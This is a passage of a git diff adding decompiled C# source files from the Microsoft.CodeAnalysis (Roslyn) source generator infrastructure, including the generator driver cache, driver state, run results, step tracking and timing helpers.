ImmutableArray? generatorStates = stateBuilder.ToImmutableAndFree(); + TimeSpan? runTime = runTimer.Elapsed; + bool? parseOptionsChanged = false; + return state2.With(null, null, generatorStates, null, empty, syntaxStore, null, null, null, runTime, parseOptionsChanged); + } + + private IncrementalExecutionContext UpdateOutputs(ImmutableArray outputNodes, IncrementalGeneratorOutputKind outputKind, GeneratorRunStateTable.Builder generatorRunStateBuilder, CancellationToken cancellationToken, DriverStateTable.Builder? driverStateBuilder = null) + { + IncrementalExecutionContext incrementalExecutionContext = new IncrementalExecutionContext(driverStateBuilder, generatorRunStateBuilder, new AdditionalSourcesCollection(SourceExtension)); + ImmutableArray.Enumerator enumerator = outputNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + IIncrementalGeneratorOutputNode current = enumerator.Current; + if (outputKind.HasFlag(current.Kind) && !_state.DisabledOutputs.HasFlag(current.Kind)) + { + current.AppendOutputs(incrementalExecutionContext, cancellationToken); + } + } + return incrementalExecutionContext; + } + + private ImmutableArray ParseAdditionalSources(ISourceGenerator generator, ImmutableArray generatedSources, CancellationToken cancellationToken) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(generatedSources.Length); + generator.GetGeneratorType(); + string filePathPrefixForGenerator = GetFilePathPrefixForGenerator(generator); + ImmutableArray.Enumerator enumerator = generatedSources.GetEnumerator(); + while (enumerator.MoveNext()) + { + GeneratedSourceText current = enumerator.Current; + SyntaxTree tree = ParseGeneratedSourceText(current, Path.Combine(filePathPrefixForGenerator, current.HintName), cancellationToken); + instance.Add(new GeneratedSyntaxTree(current.HintName, current.Text, tree)); + } + return instance.ToImmutableAndFree(); + } + + private static GeneratorState SetGeneratorException(Compilation compilation, CommonMessageProvider provider, GeneratorState generatorState, ISourceGenerator generator, Exception e, DiagnosticBag? diagnosticBag, CancellationToken cancellationToken, TimeSpan? runTime = null, bool isInit = false) + { + if (CodeAnalysisEventSource.Log.IsEnabled()) + { + CodeAnalysisEventSource.Log.GeneratorException(generator.GetGeneratorType().Name, e.ToString()); + } + int num = (isInit ? provider.WRN_GeneratorFailedDuringInitialization : provider.WRN_GeneratorFailedDuringGeneration); + Diagnostic diagnostic = Diagnostic.Create(new DiagnosticDescriptor(provider.GetIdForErrorCode(num), provider.GetTitle(num), provider.GetMessageFormat(num), "Compiler", DiagnosticSeverity.Warning, true, null, null, "AnalyzerException"), Location.None, generator.GetGeneratorType().Name, e.GetType().Name, e.Message, e.CreateDiagnosticDescription()); + Diagnostic diagnostic2 = compilation.Options.FilterDiagnostic(diagnostic, cancellationToken); + if (diagnostic2 != null) + { + diagnosticBag?.Add(diagnostic2); + return generatorState.WithError(e, diagnostic2, runTime ?? TimeSpan.Zero); + } + return generatorState; + } + + private static ImmutableArray FilterDiagnostics(Compilation compilation, ImmutableArray generatorDiagnostics, DiagnosticBag? driverDiagnostics, CancellationToken cancellationToken) + { + if (generatorDiagnostics.IsEmpty) + { + return generatorDiagnostics; + } + SuppressMessageAttributeState suppressMessageAttributeState = new SuppressMessageAttributeState(compilation); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = generatorDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + Diagnostic diagnostic = compilation.Options.FilterDiagnostic(current, cancellationToken); + if (diagnostic != null) + { + Diagnostic diagnostic2 = suppressMessageAttributeState.ApplySourceSuppressions(diagnostic); + if (diagnostic2 != null) + { + instance.Add(diagnostic2); + driverDiagnostics?.Add(diagnostic2); + } + } + } + return instance.ToImmutableAndFree(); + } + + internal static string GetFilePathPrefixForGenerator(ISourceGenerator generator) + { + Type generatorType = generator.GetGeneratorType(); + return Path.Combine(generatorType.Assembly.GetName().Name ?? string.Empty, generatorType.FullName); + } + + private static ImmutableArray GetIncrementalGenerators(ImmutableArray generators, string sourceExtension) + { + return generators.SelectAsArray(delegate(ISourceGenerator g) + { + if (g is IncrementalGeneratorWrapper incrementalGeneratorWrapper) + { + return incrementalGeneratorWrapper.Generator; + } + return (g is IIncrementalGenerator incrementalGenerator) ? incrementalGenerator : new SourceGeneratorAdaptor(g, sourceExtension); + }); + } + + internal abstract GeneratorDriver FromState(GeneratorDriverState state); + + internal abstract SyntaxTree ParseGeneratedSourceText(GeneratedSourceText input, string fileName, CancellationToken cancellationToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverCache.cs new file mode 100644 index 0000000..3ae81ec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverCache.cs @@ -0,0 +1,55 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal sealed class GeneratorDriverCache +{ + internal const int MaxCacheSize = 10; + + private readonly (string cacheKey, GeneratorDriver driver)[] _cachedDrivers = new(string, GeneratorDriver)[10]; + + private readonly object _cacheLock = new object(); + + private int _cacheSize; + + public int CacheSize => _cacheSize; + + public GeneratorDriver? TryGetDriver(string cacheKey) + { + return AddOrUpdateMostRecentlyUsed(cacheKey, null); + } + + public void CacheGenerator(string cacheKey, GeneratorDriver driver) + { + AddOrUpdateMostRecentlyUsed(cacheKey, driver); + } + + private GeneratorDriver? AddOrUpdateMostRecentlyUsed(string cacheKey, GeneratorDriver? driver) + { + lock (_cacheLock) + { + int i; + for (i = 0; i < _cacheSize; i++) + { + if (_cachedDrivers[i].cacheKey == cacheKey) + { + if (driver == null) + { + driver = _cachedDrivers[i].driver; + } + break; + } + } + if (driver != null) + { + for (i = Math.Min(i, 9); i > 0; i--) + { + _cachedDrivers[i] = _cachedDrivers[i - 1]; + } + _cachedDrivers[0] = (cacheKey: cacheKey, driver: driver); + _cacheSize = Math.Min(10, _cacheSize + 1); + } + return driver; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverOptions.cs new file mode 100644 index 0000000..a259a1f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverOptions.cs @@ -0,0 +1,19 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorDriverOptions +{ + public readonly IncrementalGeneratorOutputKind DisabledOutputs; + + public readonly bool TrackIncrementalGeneratorSteps; + + public GeneratorDriverOptions(IncrementalGeneratorOutputKind disabledOutputs) + : this(disabledOutputs, trackIncrementalGeneratorSteps: false) + { + } + + public GeneratorDriverOptions(IncrementalGeneratorOutputKind disabledOutputs, bool trackIncrementalGeneratorSteps) + { + DisabledOutputs = disabledOutputs; + TrackIncrementalGeneratorSteps = trackIncrementalGeneratorSteps; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverRunResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverRunResult.cs new file mode 100644 index 0000000..8d1cdb5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverRunResult.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis; + +public class GeneratorDriverRunResult +{ + private ImmutableArray _lazyDiagnostics; + + private ImmutableArray _lazyGeneratedTrees; + + public ImmutableArray Results { get; } + + internal TimeSpan ElapsedTime { get; } + + public ImmutableArray Diagnostics + { + get + { + if (_lazyDiagnostics.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyDiagnostics, Results.SelectMany((GeneratorRunResult r) => r.Diagnostics).ToImmutableArray()); + } + return _lazyDiagnostics; + } + } + + public ImmutableArray GeneratedTrees + { + get + { + if (_lazyGeneratedTrees.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyGeneratedTrees, Results.SelectMany((GeneratorRunResult r) => r.GeneratedSources.Select((GeneratedSourceResult g) => g.SyntaxTree)).ToImmutableArray()); + } + return _lazyGeneratedTrees; + } + } + + internal GeneratorDriverRunResult(ImmutableArray results, TimeSpan elapsedTime) + { + Results = results; + ElapsedTime = elapsedTime; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverState.cs new file mode 100644 index 0000000..dfe4075 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverState.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct GeneratorDriverState +{ + internal readonly ImmutableArray Generators; + + internal readonly ImmutableArray IncrementalGenerators; + + internal readonly ImmutableArray GeneratorStates; + + internal readonly ImmutableArray AdditionalTexts; + + internal readonly AnalyzerConfigOptionsProvider OptionsProvider; + + internal readonly ParseOptions ParseOptions; + + internal readonly DriverStateTable StateTable; + + internal readonly SyntaxStore SyntaxStore; + + internal readonly IncrementalGeneratorOutputKind DisabledOutputs; + + internal readonly TimeSpan RunTime; + + internal readonly bool TrackIncrementalSteps; + + internal readonly bool ParseOptionsChanged; + + internal GeneratorDriverState(ParseOptions parseOptions, AnalyzerConfigOptionsProvider optionsProvider, ImmutableArray sourceGenerators, ImmutableArray incrementalGenerators, ImmutableArray additionalTexts, ImmutableArray generatorStates, DriverStateTable stateTable, SyntaxStore syntaxStore, IncrementalGeneratorOutputKind disabledOutputs, TimeSpan runtime, bool trackIncrementalGeneratorSteps, bool parseOptionsChanged) + { + Generators = sourceGenerators; + IncrementalGenerators = incrementalGenerators; + GeneratorStates = generatorStates; + AdditionalTexts = additionalTexts; + ParseOptions = parseOptions; + OptionsProvider = optionsProvider; + StateTable = stateTable; + SyntaxStore = syntaxStore; + DisabledOutputs = disabledOutputs; + RunTime = runtime; + TrackIncrementalSteps = trackIncrementalGeneratorSteps; + ParseOptionsChanged = parseOptionsChanged; + } + + internal GeneratorDriverState With(ImmutableArray? sourceGenerators = null, ImmutableArray? incrementalGenerators = null, ImmutableArray? generatorStates = null, ImmutableArray? additionalTexts = null, DriverStateTable? stateTable = null, SyntaxStore? syntaxStore = null, ParseOptions? parseOptions = null, AnalyzerConfigOptionsProvider? optionsProvider = null, IncrementalGeneratorOutputKind? disabledOutputs = null, TimeSpan? runTime = null, bool? parseOptionsChanged = null) + { + return new GeneratorDriverState(parseOptions ?? ParseOptions, optionsProvider ?? OptionsProvider, sourceGenerators ?? Generators, incrementalGenerators ?? IncrementalGenerators, additionalTexts ?? AdditionalTexts, generatorStates ?? GeneratorStates, stateTable ?? StateTable, syntaxStore ?? SyntaxStore, disabledOutputs ?? DisabledOutputs, runTime ?? RunTime, TrackIncrementalSteps, parseOptionsChanged ?? ParseOptionsChanged); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverTimingInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverTimingInfo.cs new file mode 100644 index 0000000..9c2d3bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorDriverTimingInfo.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorDriverTimingInfo +{ + public TimeSpan ElapsedTime { get; } + + public ImmutableArray GeneratorTimes { get; } + + internal GeneratorDriverTimingInfo(TimeSpan elapsedTime, ImmutableArray generatorTimes) + { + ElapsedTime = elapsedTime; + GeneratorTimes = generatorTimes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExecutionContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExecutionContext.cs new file mode 100644 index 0000000..7a04c9c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExecutionContext.cs @@ -0,0 +1,74 @@ +using System.Collections.Immutable; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorExecutionContext +{ + private readonly DiagnosticBag _diagnostics; + + private readonly AdditionalSourcesCollection _additionalSources; + + public Compilation Compilation { get; } + + public ParseOptions ParseOptions { get; } + + public ImmutableArray AdditionalFiles { get; } + + public AnalyzerConfigOptionsProvider AnalyzerConfigOptions { get; } + + public ISyntaxReceiver? SyntaxReceiver { get; } + + public ISyntaxContextReceiver? SyntaxContextReceiver { get; } + + public CancellationToken CancellationToken { get; } + + internal GeneratorExecutionContext(Compilation compilation, ParseOptions parseOptions, ImmutableArray additionalTexts, AnalyzerConfigOptionsProvider optionsProvider, ISyntaxContextReceiver? syntaxReceiver, string sourceExtension, CancellationToken cancellationToken = default(CancellationToken)) + { + Compilation = compilation; + ParseOptions = parseOptions; + AdditionalFiles = additionalTexts; + AnalyzerConfigOptions = optionsProvider; + SyntaxReceiver = (syntaxReceiver as SyntaxContextReceiverAdaptor)?.Receiver; + SyntaxContextReceiver = ((syntaxReceiver is SyntaxContextReceiverAdaptor) ? null : syntaxReceiver); + CancellationToken = cancellationToken; + _additionalSources = new AdditionalSourcesCollection(sourceExtension); + _diagnostics = new DiagnosticBag(); + } + + public void AddSource(string hintName, string source) + { + AddSource(hintName, SourceText.From(source, Encoding.UTF8)); + } + + public void AddSource(string hintName, SourceText sourceText) + { + _additionalSources.Add(hintName, sourceText); + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, Compilation, (Diagnostic _, CancellationToken _) => true, CancellationToken); + _diagnostics.Add(diagnostic); + } + + internal (ImmutableArray sources, ImmutableArray diagnostics) ToImmutableAndFree() + { + return (sources: _additionalSources.ToImmutableAndFree(), diagnostics: _diagnostics.ToReadOnlyAndFree()); + } + + internal void Free() + { + _additionalSources.Free(); + _diagnostics.Free(); + } + + internal void CopyToProductionContext(SourceProductionContext ctx) + { + _additionalSources.CopyTo(ctx.Sources); + ctx.Diagnostics.AddRange(_diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExtensions.cs new file mode 100644 index 0000000..39b57e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorExtensions.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public static class GeneratorExtensions +{ + public static Type GetGeneratorType(this ISourceGenerator generator) + { + if (generator is IncrementalGeneratorWrapper incrementalGeneratorWrapper) + { + return incrementalGeneratorWrapper.Generator.GetType(); + } + return generator.GetType(); + } + + public static ISourceGenerator AsSourceGenerator(this IIncrementalGenerator incrementalGenerator) + { + return new IncrementalGeneratorWrapper(incrementalGenerator); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorInitializationContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorInitializationContext.cs new file mode 100644 index 0000000..ab7e0a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorInitializationContext.cs @@ -0,0 +1,53 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorInitializationContext +{ + internal sealed class CallbackHolder + { + internal SyntaxContextReceiverCreator? SyntaxContextReceiverCreator { get; set; } + + internal Action? PostInitCallback { get; set; } + } + + public CancellationToken CancellationToken { get; } + + internal CallbackHolder Callbacks { get; } + + internal GeneratorInitializationContext(CancellationToken cancellationToken = default(CancellationToken)) + { + CancellationToken = cancellationToken; + Callbacks = new CallbackHolder(); + } + + public void RegisterForSyntaxNotifications(SyntaxReceiverCreator receiverCreator) + { + CheckIsEmpty(Callbacks.SyntaxContextReceiverCreator, "SyntaxReceiverCreator / SyntaxContextReceiverCreator"); + Callbacks.SyntaxContextReceiverCreator = SyntaxContextReceiverAdaptor.Create(receiverCreator); + } + + public void RegisterForSyntaxNotifications(SyntaxContextReceiverCreator receiverCreator) + { + CheckIsEmpty(Callbacks.SyntaxContextReceiverCreator, "SyntaxReceiverCreator / SyntaxContextReceiverCreator"); + Callbacks.SyntaxContextReceiverCreator = receiverCreator; + } + + public void RegisterForPostInitialization(Action callback) + { + CheckIsEmpty(Callbacks.PostInitCallback); + Callbacks.PostInitCallback = delegate(IncrementalGeneratorPostInitializationContext context) + { + callback(new GeneratorPostInitializationContext(context.AdditionalSources, context.CancellationToken)); + }; + } + + private static void CheckIsEmpty(T x, string? typeName = null) where T : class? + { + if (x != null) + { + throw new InvalidOperationException(string.Format(CodeAnalysisResources.Single_type_per_generator_0, typeName ?? typeof(T).Name)); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorPostInitializationContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorPostInitializationContext.cs new file mode 100644 index 0000000..458440f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorPostInitializationContext.cs @@ -0,0 +1,28 @@ +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorPostInitializationContext +{ + private readonly AdditionalSourcesCollection _additionalSources; + + public CancellationToken CancellationToken { get; } + + internal GeneratorPostInitializationContext(AdditionalSourcesCollection additionalSources, CancellationToken cancellationToken) + { + _additionalSources = additionalSources; + CancellationToken = cancellationToken; + } + + public void AddSource(string hintName, string source) + { + AddSource(hintName, SourceText.From(source, Encoding.UTF8)); + } + + public void AddSource(string hintName, SourceText sourceText) + { + _additionalSources.Add(hintName, sourceText); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunResult.cs new file mode 100644 index 0000000..4a8b4f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunResult.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorRunResult +{ + public ISourceGenerator Generator { get; } + + public ImmutableArray GeneratedSources { get; } + + public ImmutableArray Diagnostics { get; } + + internal ImmutableArray<(string Key, string Value)> HostOutputs { get; } + + public Exception? Exception { get; } + + internal TimeSpan ElapsedTime { get; } + + public ImmutableDictionary> TrackedSteps { get; } + + public ImmutableDictionary> TrackedOutputSteps { get; } + + internal GeneratorRunResult(ISourceGenerator generator, ImmutableArray generatedSources, ImmutableArray diagnostics, ImmutableDictionary> namedSteps, ImmutableDictionary> outputSteps, ImmutableArray<(string Key, string Value)> hostOutputs, Exception? exception, TimeSpan elapsedTime) + { + Generator = generator; + GeneratedSources = generatedSources; + Diagnostics = diagnostics; + TrackedSteps = namedSteps; + TrackedOutputSteps = outputSteps; + HostOutputs = hostOutputs; + Exception = exception; + ElapsedTime = elapsedTime; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunStateTable.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunStateTable.cs new file mode 100644 index 0000000..147b509 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorRunStateTable.cs @@ -0,0 +1,101 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class GeneratorRunStateTable +{ + public sealed class Builder + { + private readonly Dictionary>? _namedSteps; + + private readonly Dictionary>? _outputSteps; + + [MemberNotNullWhen(true, new string[] { "_namedSteps", "_outputSteps" })] + public bool RecordingExecutedSteps + { + [MemberNotNullWhen(true, new string[] { "_namedSteps", "_outputSteps" })] + get + { + return _namedSteps != null; + } + } + + public Builder(bool recordingExecutedSteps) + { + if (recordingExecutedSteps) + { + _namedSteps = new Dictionary>(); + _outputSteps = new Dictionary>(); + } + } + + public void RecordStepsFromOutputNodeUpdate(IStateTable table) + { + ImmutableArray.Enumerator enumerator = table.Steps.GetEnumerator(); + while (enumerator.MoveNext()) + { + IncrementalGeneratorRunStep current = enumerator.Current; + RecordStepTree(current, addToOutputSteps: true); + } + } + + public GeneratorRunStateTable ToImmutableAndFree() + { + return new GeneratorRunStateTable(StepCollectionToImmutable(_namedSteps), StepCollectionToImmutable(_outputSteps)); + } + + private static ImmutableDictionary> StepCollectionToImmutable(Dictionary>? builder) + { + if (builder == null) + { + return ImmutableDictionary>.Empty; + } + ImmutableDictionary>.Builder builder2 = ImmutableDictionary.CreateBuilder>(); + foreach (KeyValuePair> item in builder) + { + builder2.Add(item.Key, item.Value.ToImmutableArrayOrEmpty()); + } + return builder2.ToImmutable(); + } + + private void RecordStepTree(IncrementalGeneratorRunStep step, bool addToOutputSteps) + { + ImmutableArray<(IncrementalGeneratorRunStep, int)>.Enumerator enumerator = step.Inputs.GetEnumerator(); + while (enumerator.MoveNext()) + { + IncrementalGeneratorRunStep item = enumerator.Current.Item1; + RecordStepTree(item, addToOutputSteps: false); + } + if (step.Name != null) + { + addToNamedStepCollection(_namedSteps, step); + if (addToOutputSteps) + { + addToNamedStepCollection(_outputSteps, step); + } + } + static void addToNamedStepCollection(Dictionary> stepCollectionBuilder, IncrementalGeneratorRunStep incrementalGeneratorRunStep) + { + if (!stepCollectionBuilder.TryGetValue(incrementalGeneratorRunStep.Name, out HashSet value)) + { + value = new HashSet(); + stepCollectionBuilder.Add(incrementalGeneratorRunStep.Name, value); + } + value.Add(incrementalGeneratorRunStep); + } + } + } + + public ImmutableDictionary> ExecutedSteps { get; } + + public ImmutableDictionary> OutputSteps { get; } + + private GeneratorRunStateTable(ImmutableDictionary> executedSteps, ImmutableDictionary> outputSteps) + { + ExecutedSteps = executedSteps; + OutputSteps = outputSteps; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorState.cs new file mode 100644 index 0000000..3bbd91e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorState.cs @@ -0,0 +1,61 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct GeneratorState +{ + public static readonly GeneratorState Empty = new GeneratorState(ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableDictionary>.Empty, ImmutableDictionary>.Empty, ImmutableArray<(string, string)>.Empty, null, TimeSpan.Zero); + + internal bool Initialized { get; } + + internal ImmutableArray PostInitTrees { get; } + + internal ImmutableArray InputNodes { get; } + + internal ImmutableArray OutputNodes { get; } + + internal ImmutableArray GeneratedTrees { get; } + + internal Exception? Exception { get; } + + internal TimeSpan ElapsedTime { get; } + + internal ImmutableArray Diagnostics { get; } + + internal ImmutableDictionary> ExecutedSteps { get; } + + internal ImmutableDictionary> OutputSteps { get; } + + internal ImmutableArray<(string Key, string Value)> HostOutputs { get; } + + public GeneratorState(ImmutableArray postInitTrees, ImmutableArray inputNodes, ImmutableArray outputNodes) + : this(postInitTrees, inputNodes, outputNodes, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableDictionary>.Empty, ImmutableDictionary>.Empty, ImmutableArray<(string, string)>.Empty, null, TimeSpan.Zero) + { + } + + private GeneratorState(ImmutableArray postInitTrees, ImmutableArray inputNodes, ImmutableArray outputNodes, ImmutableArray generatedTrees, ImmutableArray diagnostics, ImmutableDictionary> executedSteps, ImmutableDictionary> outputSteps, ImmutableArray<(string Key, string Value)> hostOutputs, Exception? exception, TimeSpan elapsedTime) + { + Initialized = true; + PostInitTrees = postInitTrees; + InputNodes = inputNodes; + OutputNodes = outputNodes; + GeneratedTrees = generatedTrees; + Diagnostics = diagnostics; + ExecutedSteps = executedSteps; + OutputSteps = outputSteps; + HostOutputs = hostOutputs; + Exception = exception; + ElapsedTime = elapsedTime; + } + + public GeneratorState WithResults(ImmutableArray generatedTrees, ImmutableArray diagnostics, ImmutableDictionary> executedSteps, ImmutableDictionary> outputSteps, ImmutableArray<(string Key, string Value)> hostOutputs, TimeSpan elapsedTime) + { + return new GeneratorState(PostInitTrees, InputNodes, OutputNodes, generatedTrees, diagnostics, executedSteps, outputSteps, hostOutputs, null, elapsedTime); + } + + public GeneratorState WithError(Exception exception, Diagnostic error, TimeSpan elapsedTime) + { + return new GeneratorState(PostInitTrees, InputNodes, OutputNodes, ImmutableArray.Empty, ImmutableArray.Create(error), ImmutableDictionary>.Empty, ImmutableDictionary>.Empty, ImmutableArray<(string, string)>.Empty, exception, elapsedTime); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxContext.cs new file mode 100644 index 0000000..47c7919 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxContext.cs @@ -0,0 +1,21 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorSyntaxContext +{ + internal readonly ISyntaxHelper SyntaxHelper; + + private readonly Lazy? _semanticModel; + + public SyntaxNode Node { get; } + + public SemanticModel SemanticModel => _semanticModel.Value; + + internal GeneratorSyntaxContext(SyntaxNode node, Lazy? semanticModel, ISyntaxHelper syntaxHelper) + { + Node = node; + _semanticModel = semanticModel; + SyntaxHelper = syntaxHelper; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxWalker.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxWalker.cs new file mode 100644 index 0000000..88bb466 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorSyntaxWalker.cs @@ -0,0 +1,31 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal sealed class GeneratorSyntaxWalker : SyntaxWalker +{ + private readonly ISyntaxContextReceiver _syntaxReceiver; + + private readonly ISyntaxHelper _syntaxHelper; + + private Lazy? _semanticModel; + + internal GeneratorSyntaxWalker(ISyntaxContextReceiver syntaxReceiver, ISyntaxHelper syntaxHelper) + { + _syntaxReceiver = syntaxReceiver; + _syntaxHelper = syntaxHelper; + } + + public void VisitWithModel(Lazy? model, SyntaxNode node) + { + _semanticModel = model; + Visit(node); + _semanticModel = null; + } + + public override void Visit(SyntaxNode node) + { + _syntaxReceiver.OnVisitSyntaxNode(new GeneratorSyntaxContext(node, _semanticModel, _syntaxHelper)); + base.Visit(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimerExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimerExtensions.cs new file mode 100644 index 0000000..a8bb3f0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimerExtensions.cs @@ -0,0 +1,82 @@ +using System; +using System.Diagnostics.Tracing; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class GeneratorTimerExtensions +{ + internal readonly struct RunTimer : IDisposable + { + private readonly SharedStopwatch _timer = SharedStopwatch.StartNew(); + + private readonly Action? _callback = null; + + private readonly Func? _adjustRunTime = null; + + public TimeSpan Elapsed + { + get + { + if (_adjustRunTime == null) + { + return _timer.Elapsed; + } + return _adjustRunTime(_timer.Elapsed); + } + } + + public RunTimer() + { + } + + public RunTimer(Func? adjustRunTime) + : this() + { + _adjustRunTime = adjustRunTime; + } + + public RunTimer(Action callback, Func? adjustRunTime = null) + : this(adjustRunTime) + { + _callback = callback; + } + + public void Dispose() + { + if (_callback != null) + { + _callback(Elapsed); + } + } + } + + public static RunTimer CreateGeneratorDriverRunTimer(this CodeAnalysisEventSource eventSource) + { + if (eventSource.IsEnabled(EventLevel.Informational, (EventKeywords)1L)) + { + string id = Guid.NewGuid().ToString(); + eventSource.StartGeneratorDriverRunTime(id); + return new RunTimer(delegate(TimeSpan t) + { + eventSource.StopGeneratorDriverRunTime(t.Ticks, id); + }); + } + return new RunTimer(); + } + + public static RunTimer CreateSingleGeneratorRunTimer(this CodeAnalysisEventSource eventSource, ISourceGenerator generator, Func adjustRunTime) + { + if (eventSource.IsEnabled(EventLevel.Informational, (EventKeywords)1L)) + { + string id = Guid.NewGuid().ToString(); + Type type = generator.GetGeneratorType(); + eventSource.StartSingleGeneratorRunTime(type.FullName, type.Assembly.Location, id); + return new RunTimer(delegate(TimeSpan t) + { + eventSource.StopSingleGeneratorRunTime(type.FullName, type.Assembly.Location, t.Ticks, id); + }, adjustRunTime); + } + return new RunTimer(adjustRunTime); + } +} diff --git 